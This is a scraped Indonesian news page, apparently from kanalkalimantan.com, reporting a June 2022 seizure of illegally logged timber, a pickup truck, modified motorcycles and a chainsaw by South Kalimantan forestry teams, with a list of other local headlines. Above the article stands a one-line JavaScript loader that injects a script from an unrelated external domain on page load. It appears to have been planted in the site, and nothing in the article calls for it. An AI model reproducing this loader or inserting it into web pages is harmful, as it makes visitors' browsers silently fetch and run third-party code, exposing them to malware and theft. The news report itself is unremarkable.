(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Dishut Kalsel Kembali Amankan Kayu Ilegal Beserta Alat Angkutnya


KANALKALIMANTAN.COM, BANJARBARU – Tim gabungan pengamanan hutan Dinas Kehutanan, Tahura SA dan KPH Tanah Laut berhasil menemukan kegiatan pengangkutan kayu hasil illegal logging di dua kawasan yang berbeda, Sabtu (18/6/2022).

Adapun praktek illegal logging ini awalnya didapati di wilayah RPH Tanjung, dimana petugas mengamankan sedikitnya 90 batang kayu jenis Rimba Campuran. Pun termasuk pula 3 buah kendaraan roda dua jenis rakitan.

Tak jauh dari kawasan, petugas juga kembali mengamankan sekitar 40 potong kayu berbentuk papan dengan jenis Rimba Campuran panjang 4 meter, tepatnya di Dusun Riam Pinang Desa Tanjung Kecamatan Bajuin, Kabupaten Tanah Laut.

Kayu yang diamankan tersebut didapati setelah tim melakukan kegiatan penelusuran pukul 21.00 Wita pada kawasan rehab DAS. Kawasan ini diduga menjadi jalur akses keluar masuknya hasil ilegal logging di wilayah hutan Tahura SA khususnya di kawasan Dusun Riam Pinang.

 

Baca juga  : Total 5 Pelaku Pengeroyokan di Cafe Asoka Banjarbaru Tertangkap, Haris Masih DPO

Tim melihat kegiatan secara langsung pengangkutan hasil kegiatan illegal logging. Selain mengamankan kayu, tim juga mengamankan barang bukti lainnya berupa satu buah kendaraan roda empat jenis pick up, dua buah kendaraan roda dua rakitan yang dimodifikasi khusus untuk mengangkut kayu, satu buah chain saw, serta dua buah parang.

Di tempat berbeda, tim pengamanan hutan KPH Balangan juga berhasil mengamankan 25 potong kayu jenis Rimba Campuran dengan berbagai ukuran di sekitar kawasan hutan di wilayah Kecamatan Halong Kabupaten Balangan. Kayu tanpa kepemilikan yang diamankan tersebut ditemukan pada titik koordinat X : -2.33718 Y : 115.73189 dan setelah dilakukan overlay dengan peta kawasan hutan, ternyata titik tersebut masuk dalam kawasan Hutan Produksi.

Kadishut Kalsel, Fathimatuzzahra mengatakan pihaknya berjanji akan terus meningkatkan kegiatan partoli dan pengawasan seiring seringnya ditemukan tindak kegiatan illegal logging dalam satu minggu terakhir ini dari berbagai wilayah di Kalimantan Selatan. “Kami akan berusaha untuk terus meningkatkan kegiatan partoli dan pengawasan hutan di Kalsel guna mengurangi tindak kegiatan illegal logging dan kerusakan hutan,”ucapnya.

Saat ini semua barang bukti hasil kegiatan patroli pengamanan hutan beserta tersangka sudah diamankan ke kantor Polhut Dinas Kehutanan yang berada di Gang Petai Banjarbaru untuk dilakukan pemeriksaan dan penyidikan.(kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

9 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

9 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

12 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

14 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

15 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

17 jam ago

This website uses cookies.